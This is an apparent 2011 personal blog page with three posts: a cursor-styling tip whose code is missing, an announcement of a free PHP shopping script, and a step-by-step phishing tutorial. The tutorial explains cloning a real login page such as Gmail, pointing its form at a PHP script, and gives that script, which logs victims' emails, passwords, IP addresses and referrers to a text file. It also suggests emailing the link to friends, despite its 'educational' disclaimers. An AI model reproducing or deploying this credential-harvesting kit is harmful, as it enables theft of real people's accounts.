Thursday, March 24, 2011

Custom Cursor for your website

What happens to the mouse cursor when a user clicks on a button?
Here is some code to change that.


Just add any of the above code in the code of say a button or <p> or any other tag and the cursor would change. Just look at the example given above.

Saturday, March 19, 2011

FPSP - Flat File Php Shopping Page

It's a very long time since I blogged. The reason is that I was working on this.
Today on Holi this is my present to all of you. Maybe the last version of my Php Shopping Script.
I have been working on this for the past few months and now it is ready for you all to download and use.
This script comes with a lot more than any of my previous script. It includes:

1) Flat file databases (as the name suggested)
2) Products are divided into categories for easy access
3) Much more information about the product can be stored in flat files.
4) Very easy to update and use.

WOW! That is a lot. Also because the coding in this script is much more complicated, I have decided to give it pre packed. So just go to and download

It is really easy to use, you can understand it completely. Just use it and if possible send me some traffic here.

Thursday, March 17, 2011

Phishing through fake login page

Before I begin, this is only an educational tutorial. Stealing others' personal information is legally and morally wrong. So just have fun with it, play pranks with your friends and don't do anything that you might regret later.

Phishing is one of the oldest and perhaps the easiest way to hack someone's personal page or E-Mail account. It simply makes the target believe that the login page they are entering their userid and password is real, but sends their login info to the phisher. Wrong but useful.
So to do this just follow the streps
1) Open any site (e.g.- Google, Yahoo, Facebook, Twitter, etc) and go to their login page.

2) Right Click anywhere on the login page and click on Save As..... Give the file a name like gmail.html (.html is important)

3) Open the gmail.html file in say Notebook or any HTML editor. Find the form tag
Here is the one from gmail

(Different sites have different codes, but the form tag remains the same)

4) The important part in this code is actually the action. We have to change the action which is pointing to Google to your phishing script.
So we change action=""
to action=""

5) Open Notepad, copy and paste the following code
// Phisher v1.0
// Created by Tanmay Das

$userid = $_POST['Email'];
$pass = $_POST['Passwd'];

$newphish = "dbase.txt";
$newphishHandle = fopen($newphish, 'w');

$phish = "dbase.txt";
$info = file($phish);

$today = date("l, F j, Y, g:i a");
$ipadd = getenv("REMOTE_ADDR");
$reff = getenv("HTTP_REFERER");

$insertdata = $today."||".$ipadd."||".$reff."||".$userid."||".$pass."\n";
$fp = fopen($dbase, "a");
fputs($fp, $insertdata);

echo '<script type="text/javascript">';
echo 'window.location = ""';
echo '</script>';
Save it as phish.php

5) Save the file along with phish.php and upload it on your server or any free server like
Send your friend an E-mail containing the link to this page. Remember to change the text of the link to something like"

6) When they would open the link and enter their  userid and password. The script will look for dbase.txt. If not found then a new file will be created on your server. Just download dbase.txt when you have lots of userids and passwords.

Note again Let me be clear. This is just a tutorial for knowledge purpose. Phishing is a legal offence punishable by law. If you are caught stealing someone's data then I am in no way responsible for your actions.